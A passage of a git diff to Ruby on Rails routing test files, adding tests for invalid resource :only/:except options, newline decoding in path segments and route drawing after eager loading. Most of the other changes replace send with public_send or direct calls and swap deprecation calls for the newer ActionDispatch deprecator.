+    assert_raise(ArgumentError, match: expected_message) do
+      with_routing do |set|
+        set.draw do
+          resources :products, only: [:foo, "bar"]
+        end
+      end
+    end
+  end
+
+  def test_invalid_only_option_for_singleton_resource
+    expected_message = "Route `resource :products` - :only and :except must include only [:show, :create, :update, :destroy, :new, :edit], but also included [:foo, :bar]"
+    assert_raise(ArgumentError, match: expected_message) do
+      with_routing do |set|
+        set.draw do
+          resource :products, only: [:foo, "bar"]
+        end
+      end
+    end
+  end
+
+  def test_invalid_except_option_for_resources
+    expected_message = "Route `resources :products` - :only and :except must include only [:index, :create, :new, :show, :update, :destroy, :edit], but also included [:foo]"
+
+    assert_raise(ArgumentError, match: expected_message) do
+      with_routing do |set|
+        set.draw do
+          resources :products, except: :foo
+        end
+      end
+    end
+  end
+
+  def test_invalid_except_option_for_singleton_resource
+    expected_message = "Route `resource :products` - :only and :except must include only [:show, :create, :update, :destroy, :new, :edit], but also included [:foo]"
+    assert_raise(ArgumentError, match: expected_message) do
+      with_routing do |set|
+        set.draw do
+          resource :products, except: :foo
+        end
+      end
+    end
+  end
+
   private
-    def with_restful_routing(*args)
-      options = args.extract_options!
+    def with_restful_routing(*args, **options)
       collection_methods = options.delete(:collection)
       member_methods = options.delete(:member)
       path_prefix = options.delete(:path_prefix)
-      args.push(options)
 
       with_routing do |set|
         set.draw do
           scope(path_prefix || "") do
-            resources(*args) do
+            resources(*args, **options) do
               if collection_methods
                 collection do
                   collection_methods.each do |name, method|
-                    send(method, name)
+                    public_send(method, name)
                   end
                 end
               end
@@ -1112,7 +1217,7 @@ def with_restful_routing(*args)
               if member_methods
                 member do
                   member_methods.each do |name, method|
-                    send(method, name)
+                    public_send(method, name)
                   end
                 end
               end
@@ -1198,7 +1303,11 @@ def assert_restful_routes_for(controller_name, options = {})
       assert_recognizes(options[:shallow_options].merge(action: "update",  id: "1", format: "xml"), path: "#{member_path}.xml",       method: :put)
       assert_recognizes(options[:shallow_options].merge(action: "destroy", id: "1", format: "xml"), path: "#{member_path}.xml",       method: :delete)
 
-      yield route_options if block_given?
+      if block_given?
+        _assert_nothing_raised_or_warn("assert_restful_routes_for") do
+          yield route_options
+        end
+      end
     end
 
     # test named routes like foo_path and foos_path map to the correct options.
@@ -1228,7 +1337,7 @@ def assert_restful_named_routes_for(controller_name, singular_name = nil, option
       shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
       full_path = "/#{options[:path_prefix]}#{path}"
       name_prefix = options[:name_prefix]
-      shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, "_") : options[:name_prefix]
+      shallow_prefix = options[:shallow] ? options[:namespace]&.gsub(/\//, "_") : options[:name_prefix]
 
       new_action  = "new"
       edit_action = "edit"
@@ -1247,7 +1356,11 @@ def assert_restful_named_routes_for(controller_name, singular_name = nil, option
       assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1")
       assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(id: "1", format: "xml")
 
-      yield route_options if block_given?
+      if block_given?
+        _assert_nothing_raised_or_warn("assert_restful_named_routes_for") do
+          yield route_options
+        end
+      end
     end
 
     def assert_singleton_routes_for(singleton_name, options = {})
@@ -1282,7 +1395,11 @@ def assert_singleton_routes_for(singleton_name, options = {})
       assert_recognizes(route_options.merge(action: "update",  format: "xml"), path: "#{full_path}.xml",  method: :put)
       assert_recognizes(route_options.merge(action: "destroy", format: "xml"), path: "#{full_path}.xml",  method: :delete)
 
-      yield route_options if block_given?
+      if block_given?
+        _assert_nothing_raised_or_warn("assert_singleton_routes_for") do
+          yield route_options
+        end
+      end
     end
 
     def assert_singleton_named_routes_for(singleton_name, options = {})
@@ -1303,10 +1420,16 @@ def assert_singleton_named_routes_for(singleton_name, options = {})
       assert_named_route "#{full_path}/new.xml",  "new_#{name_prefix}#{singleton_name}_path",  route_options.merge(format: "xml")
       assert_named_route "#{full_path}/edit",     "edit_#{name_prefix}#{singleton_name}_path",           route_options
       assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", route_options.merge(format: "xml")
+
+      if block_given?
+        _assert_nothing_raised_or_warn("assert_singleton_named_routes_for") do
+          yield route_options
+        end
+      end
     end
 
     def assert_named_route(expected, route, options)
-      actual = @controller.send(route, options) rescue $!.class.name
+      actual = @controller.public_send(route, options) rescue $!.class.name
       assert_equal expected, actual, "Error on route: #{route}(#{options.inspect})"
     end
 
@@ -1321,7 +1444,7 @@ def assert_resource_methods(expected, resource, action_method, method)
     def assert_resource_allowed_routes(controller, options, shallow_options, allowed, not_allowed, path = controller)
       shallow_path = "#{path}/#{shallow_options[:id]}"
       format = options[:format] && ".#{options[:format]}"
-      options.merge!(controller: controller)
+      options[:controller] = controller
       shallow_options.merge!(options)
 
       assert_whether_allowed(allowed, not_allowed, options,         "index",    "#{path}#{format}",               :get)
@@ -1335,7 +1458,7 @@ def assert_resource_allowed_routes(controller, options, shallow_options, allowed
 
     def assert_singleton_resource_allowed_routes(controller, options, allowed, not_allowed, path = controller.singularize)
       format = options[:format] && ".#{options[:format]}"
-      options.merge!(controller: controller)
+      options[:controller] = controller
 
       assert_whether_allowed(allowed, not_allowed, options, "new",      "#{path}/new#{format}",   :get)
       assert_whether_allowed(allowed, not_allowed, options, "create",   "#{path}#{format}",       :post)
diff --git a/actionpack/test/controller/route_helpers_test.rb b/actionpack/test/controller/route_helpers_test.rb
new file mode 100644
index 0000000000000..0aa6565de0f59
--- /dev/null
+++ b/actionpack/test/controller/route_helpers_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RouteHelperIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ApplicationController
+  end
+
+  # We define many routes in these modules after they have been included into
+  # the controllers. For boot performance, it's important that we don't
+  # duplicate these modules and make method cache invalidation expensive.
+  # https://github.com/rails/rails/pull/37927
+  test "only includes one module with route helpers" do
+    url_helpers_module = SharedTestRoutes.named_routes.url_helpers_module
+    path_helpers_module = SharedTestRoutes.named_routes.path_helpers_module
+
+    assert_operator FooController, :<, url_helpers_module
+    assert_operator ApplicationController, :<, url_helpers_module
+    assert_not_operator ActionController::Base, :<, url_helpers_module
+
+    assert_operator FooController, :<, path_helpers_module
+    assert_operator ApplicationController, :<, path_helpers_module
+    assert_not_operator ActionController::Base, :<, path_helpers_module
+
+    included_modules = FooController.ancestors.grep_v(Class)
+    included_modules -= [url_helpers_module, path_helpers_module]
+
+    modules_with_routes = included_modules.select do |mod|
+      mod < url_helpers_module || mod < path_helpers_module
+    end
+
+    assert_equal 1, modules_with_routes.size
+  end
+end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index 56b39510bb45c..89a31922c5a72 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_controllers"
 require "active_support/core_ext/object/with_options"
@@ -15,16 +17,16 @@ class UriReservedCharactersRoutingTest < ActiveSupport::TestCase
   def setup
     @set = ActionDispatch::Routing::RouteSet.new
     @set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:variable/*additional"
       end
     end
 
     safe, unsafe = %w(: @ & = + $ , ;), %w(^ ? # [ ])
-    hex = unsafe.map { |char| "%" + char.unpack("H2").first.upcase }
+    hex = unsafe.map { |char| "%" + char.unpack1("H2").upcase }
 
-    @segment = "#{safe.join}#{unsafe.join}".freeze
-    @escaped = "#{safe.join}#{hex.join}".freeze
+    @segment = "#{safe.join}#{unsafe.join}"
+    @escaped = "#{safe.join}#{hex.join}"
   end
 
   def test_route_generation_escapes_unsafe_path_characters
@@ -94,6 +96,22 @@ def test_symbols_with_dashes
     assert_equal({ "artist" => "journey", "song" => "faithfully" }, hash)
   end
 
+  def test_id_encoding
+    rs.draw do
+      get "/journey/:id", to: lambda { |env|
+        param = ActionDispatch::Request.new(env).path_parameters
+        resp = ActiveSupport::JSON.encode param
+        [200, {}, [resp]]
+      }
+    end
+
+    # The encoding of the URL in production is *binary*, so we add a
+    # .b here.
+    hash = ActiveSupport::JSON.decode get(URI("http://example.org/journey/%E5%A4%AA%E9%83%8E".b))
+    assert_equal({ "id" => "太郎" }, hash)
+    assert_equal ::Encoding::UTF_8, hash["id"].encoding
+  end
+
   def test_id_with_dash
     rs.draw do
       get "/journey/:id", to: lambda { |env|
@@ -153,7 +171,7 @@ def test_star_paths_are_greedy
     end
 
     u = URI("http://example.org/foo/bar.html")
-    assert_equal u.path.sub(/^\//, ""), get(u)
+    assert_equal u.path.delete_prefix("/"), get(u)
   end
 
   def test_star_paths_are_greedy_but_not_too_much
@@ -178,7 +196,7 @@ def test_optional_star_paths_are_greedy
     end
 
     u = URI("http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794")
-    assert_equal u.path.sub(/^\//, ""), get(u)
+    assert_equal u.path.delete_prefix("/"), get(u)
   end
 
   def test_optional_star_paths_are_greedy_but_not_too_much
@@ -195,10 +213,10 @@ def test_optional_star_paths_are_greedy_but_not_too_much
     assert_equal expected, ActiveSupport::JSON.decode(get(u))
   end
 
-  def test_regexp_precidence
+  def test_regexp_precedence
     rs.draw do
       get "/whois/:domain", constraints: {
-        domain: /\w+\.[\w\.]+/ },
+        domain: /\w+\.[\w.]+/ },
         to: lambda { |env| [200, {}, %w{regexp}] }
 
       get "/whois/:id", to: lambda { |env| [200, {}, %w{id}] }
@@ -226,6 +244,18 @@ def matches?(request)
     assert_equal "clients", get(URI("http://clients.example.org/"))
   end
 
+  def test_format_symbol_constraints
+    rs.draw do
+      get "/api", constraints: { format: :json },
+                 to: lambda { |env| [200, {}, %w{json}] }
+      get "/api", constraints: { format: :xml },
+                 to: lambda { |env| [200, {}, %w{xml}] }
+    end
+
+    assert_equal "json", get(URI("http://www.example.org/api.json"))
+    assert_equal "xml", get(URI("http://clients.example.org/api.xml"))
+  end
+
   def test_lambda_constraints
     rs.draw do
       get "/", constraints: lambda { |req|
@@ -291,7 +321,7 @@ def test_non_greedy_glob_regexp
 
   def test_specific_controller_action_failure
     rs.draw do
-      mount lambda {} => "/foo"
+      mount lambda { } => "/foo"
     end
 
     assert_raises(ActionController::UrlGenerationError) do
@@ -300,7 +330,7 @@ def test_specific_controller_action_failure
   end
 
   def test_default_setup
-    rs.draw { ActiveSupport::Deprecation.silence { get "/:controller(/:action(/:id))" } }
+    rs.draw { ActionDispatch.deprecator.silence { get "/:controller(/:action(/:id))" } }
     assert_equal({ controller: "content", action: "index" }, rs.recognize_path("/content"))
     assert_equal({ controller: "content", action: "list" },  rs.recognize_path("/content/list"))
     assert_equal({ controller: "content", action: "show", id: "10" }, rs.recognize_path("/content/show/10"))
@@ -321,9 +351,25 @@ def test_default_setup
     assert_equal "/stuff", controller.url_for(controller: "/stuff", only_path: true)
   end
 
+  def test_route_uri_pattern
+    rs.draw { ActionDispatch.deprecator.silence { get "/:controller(/:action(/:id))" } }
+
+    get URI("http://test.host/admin/user/list/10")
+
+    assert_equal(
+      "/:controller(/:action(/:id))(.:format)",
+      controller.request.route_uri_pattern
+    )
+
+    assert_equal(
+      "/:controller(/:action(/:id))(.:format)",
+      controller.request.get_header("action_dispatch.route_uri_pattern")
+    )
+  end
+
   def test_route_with_colon_first
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/:controller/:action/:id", action: "index", id: nil
       end
 
@@ -334,18 +380,18 @@ def test_route_with_colon_first
   end
 
   def test_route_with_regexp_for_action
-    rs.draw { ActiveSupport::Deprecation.silence { get "/:controller/:action", action: /auth[-|_].+/ } }
+    rs.draw { ActionDispatch.deprecator.silence { get "/:controller/:action", action: /auth[-|_].+/ } }
 
     assert_equal({ action: "auth_google", controller: "content" }, rs.recognize_path("/content/auth_google"))
-    assert_equal({ action: "auth-facebook", controller: "content" }, rs.recognize_path("/content/auth-facebook"))
+    assert_equal({ action: "auth-twitter", controller: "content" }, rs.recognize_path("/content/auth-twitter"))
 
     assert_equal "/content/auth_google", url_for(rs, controller: "content", action: "auth_google")
-    assert_equal "/content/auth-facebook", url_for(rs, controller: "content", action: "auth-facebook")
+    assert_equal "/content/auth-twitter", url_for(rs, controller: "content", action: "auth-twitter")
   end
 
   def test_route_with_regexp_for_controller
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:admintoken(/:action(/:id))", controller: /admin\/.+/
         get "/:controller(/:action(/:id))"
       end
@@ -362,7 +408,7 @@ def test_route_with_regexp_for_controller
 
   def test_route_with_regexp_and_captures_for_controller
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/:controller(/:action(/:id))", controller: /admin\/(accounts|users)/
       end
     end
@@ -373,7 +419,7 @@ def test_route_with_regexp_and_captures_for_controller
 
   def test_route_with_regexp_and_dot
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:file",
                   controller: /admin|user/,
                   action: /upload|download/,
@@ -400,7 +446,7 @@ def test_basic_named_route
     rs.draw do
       root to: "content#list", as: "home"
     end
-    assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+    assert_equal("http://test.host/", setup_for_named_route.home_url)
   end
 
   def test_named_route_with_option
@@ -409,7 +455,7 @@ def test_named_route_with_option
     end
 
     assert_equal("http://test.host/page/new%20stuff",
-        setup_for_named_route.send(:page_url, title: "new stuff"))
+        setup_for_named_route.page_url(title: "new stuff"))
   end
 
   def test_named_route_with_default
@@ -418,7 +464,7 @@ def test_named_route_with_default
     end
 
     assert_equal("http://test.host/page/AboutRails",
-        setup_for_named_route.send(:page_url, title: "AboutRails"))
+        setup_for_named_route.page_url(title: "AboutRails"))
   end
 
   def test_named_route_with_path_prefix
@@ -428,8 +474,7 @@ def test_named_route_with_path_prefix
       end
     end
 
-    assert_equal("http://test.host/my/page",
-        setup_for_named_route.send(:page_url))
+    assert_equal("http://test.host/my/page", setup_for_named_route.page_url)
   end
 
   def test_named_route_with_blank_path_prefix
@@ -439,8 +484,7 @@ def test_named_route_with_blank_path_prefix
       end
     end
 
-    assert_equal("http://test.host/page",
-        setup_for_named_route.send(:page_url))
+    assert_equal("http://test.host/page", setup_for_named_route.page_url)
   end
 
   def test_named_route_with_nested_controller
@@ -448,11 +492,10 @@ def test_named_route_with_nested_controller
       get "admin/user" => "admin/user#index", :as => "users"
     end
 
-    assert_equal("http://test.host/admin/user",
-        setup_for_named_route.send(:users_url))
+    assert_equal("http://test.host/admin/user", setup_for_named_route.users_url)
   end
 
-  def test_optimised_named_route_with_host
+  def test_optimized_named_route_with_host
     rs.draw do
       get "page" => "content#show_page", :as => "pages", :host => "foo.com"
     end
@@ -465,9 +508,11 @@ def setup_for_named_route(options = {})
   end
 
   def test_named_route_without_hash
-    rs.draw do
-      ActiveSupport::Deprecation.silence do
-        get ":controller/:action/:id", as: "normal"
+    assert_nothing_raised do
+      rs.draw do
+        ActionDispatch.deprecator.silence do
+          get ":controller/:action/:id", as: "normal"
+        end
       end
     end
   end
@@ -477,8 +522,8 @@ def test_named_route_root
       root to: "hello#index"
     end
     routes = setup_for_named_route
-    assert_equal("http://test.host/", routes.send(:root_url))
-    assert_equal("/", routes.send(:root_path))
+    assert_equal("http://test.host/", routes.root_url)
+    assert_equal("/", routes.root_path)
   end
 
   def test_named_route_root_without_hash
@@ -486,8 +531,8 @@ def test_named_route_root_without_hash
       root "hello#index"
     end
     routes = setup_for_named_route
-    assert_equal("http://test.host/", routes.send(:root_url))
-    assert_equal("/", routes.send(:root_path))
+    assert_equal("http://test.host/", routes.root_url)
+    assert_equal("/", routes.root_path)
   end
 
   def test_named_route_root_with_hash
@@ -496,8 +541,8 @@ def test_named_route_root_with_hash
     end
 
     routes = setup_for_named_route
-    assert_equal("http://test.host/", routes.send(:index_url))
-    assert_equal("/", routes.send(:index_path))
+    assert_equal("http://test.host/", routes.index_url)
+    assert_equal("/", routes.index_path)
   end
 
   def test_root_without_path_raises_argument_error
@@ -512,8 +557,8 @@ def test_named_route_root_with_trailing_slash
     end
 
     routes = setup_for_named_route(trailing_slash: true)
-    assert_equal("http://test.host/", routes.send(:root_url))
-    assert_equal("http://test.host/?foo=bar", routes.send(:root_url, foo: :bar))
+    assert_equal("http://test.host/", routes.root_url)
+    assert_equal("http://test.host/?foo=bar", routes.root_url(foo: :bar))
   end
 
   def test_named_route_with_regexps
@@ -521,7 +566,7 @@ def test_named_route_with_regexps
       get "page/:year/:month/:day/:title" => "page#show", :as => "article",
         :year => /\d+/, :month => /\d+/, :day => /\d+/
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -529,11 +574,11 @@ def test_named_route_with_regexps
     routes = setup_for_named_route
 
     assert_equal "http://test.host/page/2005/6/10/hi",
-      routes.send(:article_url, title: "hi", day: 10, year: 2005, month: 6)
+      routes.article_url(title: "hi", day: 10, year: 2005, month: 6)
   end
 
   def test_changing_controller
-    rs.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+    rs.draw { ActionDispatch.deprecator.silence { get ":controller/:action/:id" } }
 
     get URI("http://test.host/admin/user/index/10")
 
@@ -545,7 +590,7 @@ def test_paths_escaped
     rs.draw do
       get "file/*path" => "content#show_file", :as => "path"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -567,12 +612,12 @@ def test_paths_slashes_unescaped_with_ordered_parameters
     end
 
     # No / to %2F in URI, only for query params.
-    assert_equal("/file/hello/world", setup_for_named_route.send(:path_path, ["hello", "world"]))
+    assert_equal("/file/hello/world", setup_for_named_route.path_path(["hello", "world"]))
   end
 
   def test_non_controllers_cannot_be_matched
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -597,6 +642,34 @@ def test_dynamic_path_allowed
         url_for(rs, controller: "content", action: "show_file", path: %w(pages boo))
   end
 
+  def test_escapes_newline_character_for_dynamic_path
+    rs.draw do
+      get "/dynamic/:dynamic_segment" => "subpath_books#show", as: :dynamic
+
+      ActionDispatch.deprecator.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    results = rs.recognize_path("/dynamic/a%0Anewline")
+    assert(results, "Recognition should have succeeded")
+    assert_equal("a\nnewline", results[:dynamic_segment])
+  end
+
+  def test_escapes_newline_character_for_wildcard_path
+    rs.draw do
+      get "/wildcard/*wildcard_segment" => "subpath_books#show", as: :wildcard
+
+      ActionDispatch.deprecator.silence do
+        get ":controller/:action/:id"
+      end
+    end
+
+    results = rs.recognize_path("/wildcard/a%0Anewline")
+    assert(results, "Recognition should have succeeded")
+    assert_equal("a\nnewline", results[:wildcard_segment])
+  end
+
   def test_dynamic_recall_paths_allowed
     rs.draw do
       get "*path" => "content#show_file"
@@ -612,7 +685,7 @@ def test_dynamic_recall_paths_allowed
 
   def test_backwards
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "page/:id(/:action)" => "pages#show"
         get ":controller(/:action(/:id))"
       end
@@ -628,7 +701,7 @@ def test_route_with_integer_default
     rs.draw do
       get "page(/:id)" => "content#show_page", :id => 1
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -648,7 +721,7 @@ def test_route_with_text_default
     rs.draw do
       get "page/:id" => "content#show_page", :id => 1
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -656,16 +729,16 @@ def test_route_with_text_default
     assert_equal "/page/foo", url_for(rs, controller: "content", action: "show_page", id: "foo")
     assert_equal({ controller: "content", action: "show_page", id: "foo" }, rs.recognize_path("/page/foo"))
 
-    token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in Russian
+    token = +"\321\202\320\265\320\272\321\201\321\202" # 'text' in Russian
     token.force_encoding(Encoding::BINARY)
-    escaped_token = CGI::escape(token)
+    escaped_token = CGI.escape(token)
 
     assert_equal "/page/" + escaped_token, url_for(rs, controller: "content", action: "show_page", id: token)
     assert_equal({ controller: "content", action: "show_page", id: token }, rs.recognize_path("/page/#{escaped_token}"))
   end
 
   def test_action_expiry
-    rs.draw { ActiveSupport::Deprecation.silence { get ":controller(/:action(/:id))" } }
+    rs.draw { ActionDispatch.deprecator.silence { get ":controller(/:action(/:id))" } }
     get URI("http://test.host/content/show")
     assert_equal "/content", controller.url_for(controller: "content", only_path: true)
   end
@@ -689,7 +762,7 @@ def test_both_requirement_and_optional
         :constraints => { year: /\d{4}/ }
       )
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -697,14 +770,14 @@ def test_both_requirement_and_optional
     assert_equal "/test", url_for(rs, controller: "post", action: "show")
     assert_equal "/test", url_for(rs, controller: "post", action: "show", year: nil)
 
-    assert_equal("http://test.host/test", setup_for_named_route.send(:blog_url))
+    assert_equal("http://test.host/test", setup_for_named_route.blog_url)
   end
 
   def test_set_to_nil_forgets
     rs.draw do
       get "pages(/:year(/:month(/:day)))" => "content#list_pages", :month => nil, :day => nil
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -747,14 +820,14 @@ def test_named_root_url_generation_with_controller_and_action
     assert_equal "/", url_for(rs, controller: "content", action: "index")
     assert_equal "/", url_for(rs, controller: "content")
 
-    assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+    assert_equal("http://test.host/", setup_for_named_route.home_url)
   end
 
   def test_named_route_method
     rs.draw do
       get "categories" => "content#categories", :as => "categories"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller(/:action(/:id))"
       end
     end
@@ -773,7 +846,7 @@ def test_nil_defaults
       get "journal" => "content#list_journal",
         :date => nil, :user_id => nil
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
       end
     end
@@ -814,7 +887,7 @@ def test_recognize_array_of_methods
 
   def test_subpath_recognized
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/books/:id/edit"    => "subpath_books#edit"
         get "/items/:id/:action" => "subpath_books"
         get "/posts/new/:action" => "subpath_books"
@@ -841,7 +914,7 @@ def test_subpath_recognized
 
   def test_subpath_generated
     rs.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/books/:id/edit"    => "subpath_books#edit"
         get "/items/:id/:action" => "subpath_books"
         get "/posts/new/:action" => "subpath_books"
@@ -859,7 +932,7 @@ def test_failed_constraints_raises_exception_with_violated_constraints
     end
 
     assert_raise(ActionController::UrlGenerationError) do
-      setup_for_named_route.send(:foo_with_requirement_url, "I am Against the constraints")
+      setup_for_named_route.foo_with_requirement_url("I am Against the constraints")
     end
   end
 
@@ -870,7 +943,7 @@ def test_routes_changed_correctly_after_clear
       get "cb" => "cb#ab"
       get "cc" => "cc#ac"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
         get ":controller/:action/:id.:format"
       end
@@ -885,7 +958,7 @@ def test_routes_changed_correctly_after_clear
       get "cb" => "cb#ab"
       get "cc" => "cc#ac"
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id"
         get ":controller/:action/:id.:format"
       end
@@ -896,6 +969,39 @@ def test_routes_changed_correctly_after_clear
     assert_not_nil hash
     assert_equal %w(cc ac), [hash[:controller], hash[:action]]
   end
+
+  def test_drawing_more_routes_after_eager_loading
+    rs = ::ActionDispatch::Routing::RouteSet.new
+    rs.disable_clear_and_finalize = true
+
+    rs.draw do
+      get "/plain" => "c#plain"
+      get "/:symbol" => "c#symbol"
+      get "/glob/*" => "c#glob"
+      get "/with#anchor" => "c#with_anchor"
+    end
+
+    hash = rs.recognize_path "/symbol"
+    assert_not_nil hash
+    assert_equal %w(c symbol), [hash[:controller], hash[:action]]
+
+    rs.eager_load!
+
+    rs.draw do
+      get "/more/plain" => "c#plain"
+      get "/more/:symbol" => "c#symbol"
+      get "/more/glob/*" => "c#glob"
+      get "/more/with#anchor" => "c#with_anchor"
+    end
+
+    hash = rs.recognize_path "/symbol"
+    assert_not_nil hash
+    assert_equal %w(c symbol), [hash[:controller], hash[:action]]
+
+    hash = rs.recognize_path "/more/symbol"
+    assert_not_nil hash
+    assert_equal %w(c symbol), [hash[:controller], hash[:action]]
+  end
 end
 
 class RouteSetTest < ActiveSupport::TestCase
@@ -919,8 +1025,7 @@ def default_route_set
     @default_route_set ||= begin
       set = ActionDispatch::Routing::RouteSet.new
       set.draw do
-
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get "/:controller(/:action(/:id))"
         end
       end
@@ -929,21 +1034,21 @@ def default_route_set
   end
 
   def test_generate_extras
-    set.draw { ActiveSupport::Deprecation.silence { get ":controller/(:action(/:id))" } }
+    set.draw { ActionDispatch.deprecator.silence { get ":controller/(:action(/:id))" } }
     path, extras = set.generate_extras(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
     assert_equal "/foo/bar/15", path
     assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_extra_keys
-    set.draw { ActiveSupport::Deprecation.silence { get ":controller/:action/:id" } }
+    set.draw { ActionDispatch.deprecator.silence { get ":controller/:action/:id" } }
     extras = set.extra_keys(controller: "foo", action: "bar", id: 15, this: "hello", that: "world")
     assert_equal %w(that this), extras.map(&:to_s).sort
   end
 
   def test_generate_extras_not_first
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id.:format"
         get ":controller/:action/:id"
       end
@@ -955,7 +1060,7 @@ def test_generate_extras_not_first
 
   def test_generate_not_first
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id.:format"
         get ":controller/:action/:id"
       end
@@ -966,7 +1071,7 @@ def test_generate_not_first
 
   def test_extra_keys_not_first
     set.draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/:id.:format"
         get ":controller/:action/:id"
       end
@@ -1025,83 +1130,83 @@ def setup_named_route_test
   def test_named_route_url_method
     controller = setup_named_route_test
 
-    assert_equal "http://test.host/people/5", controller.send(:show_url, id: 5)
-    assert_equal "/people/5", controller.send(:show_path, id: 5)
+    assert_equal "http://test.host/people/5", controller.show_url(id: 5)
+    assert_equal "/people/5", controller.show_path(id: 5)
 
-    assert_equal "http://test.host/people", controller.send(:index_url)
-    assert_equal "/people", controller.send(:index_path)
+    assert_equal "http://test.host/people", controller.index_url
+    assert_equal "/people", controller.index_path
 
-    assert_equal "http://test.host/admin/users", controller.send(:users_url)
-    assert_equal "/admin/users", controller.send(:users_path)
+    assert_equal "http://test.host/admin/users", controller.users_url
+    assert_equal "/admin/users", controller.users_path
   end
 
   def test_named_route_url_method_with_anchor
     controller = setup_named_route_test
 
-    assert_equal "http://test.host/people/5#location", controller.send(:show_url, id: 5, anchor: "location")
-    assert_equal "/people/5#location", controller.send(:show_path, id: 5, anchor: "location")
+    assert_equal "http://test.host/people/5#location", controller.show_url(id: 5, anchor: "location")
+    assert_equal "/people/5#location", controller.show_path(id: 5, anchor: "location")
 
-    assert_equal "http://test.host/people#location", controller.send(:index_url, anchor: "location")
-    assert_equal "/people#location", controller.send(:index_path, anchor: "location")
+    assert_equal "http://test.host/people#location", controller.index_url(anchor: "location")
+    assert_equal "/people#location", controller.index_path(anchor: "location")
 
-    assert_equal "http://test.host/admin/users#location", controller.send(:users_url, anchor: "location")
-    assert_equal "/admin/users#location", controller.send(:users_path, anchor: "location")
+    assert_equal "http://test.host/admin/users#location", controller.users_url(anchor: "location")
+    assert_equal "/admin/users#location", controller.users_path(anchor: "location")
 
     assert_equal "http://test.host/people/go/7/hello/joe/5#location",
-      controller.send(:multi_url, 7, "hello", 5, anchor: "location")
+      controller.multi_url(7, "hello", 5, anchor: "location")
 
     assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
-      controller.send(:multi_url, 7, "hello", 5, baz: "bar", anchor: "location")
+      controller.multi_url(7, "hello", 5, baz: "bar", anchor: "location")
 
     assert_equal "http://test.host/people?baz=bar#location",
-      controller.send(:index_url, baz: "bar", anchor: "location")
+      controller.index_url(baz: "bar", anchor: "location")
 
-    assert_equal "http://test.host/people", controller.send(:index_url, anchor: nil)
-    assert_equal "http://test.host/people", controller.send(:index_url, anchor: false)
+    assert_equal "http://test.host/people", controller.index_url(anchor: nil)
+    assert_equal "http://test.host/people", controller.index_url(anchor: false)
   end
 
   def test_named_route_url_method_with_port
     controller = setup_named_route_test
-    assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, port: 8080)
+    assert_equal "http://test.host:8080/people/5", controller.show_url(5, port: 8080)
   end
 
   def test_named_route_url_method_with_host
     controller = setup_named_route_test
-    assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, host: "some.example.com")
+    assert_equal "http://some.example.com/people/5", controller.show_url(5, host: "some.example.com")
   end
 
   def test_named_route_url_method_with_protocol
     controller = setup_named_route_test
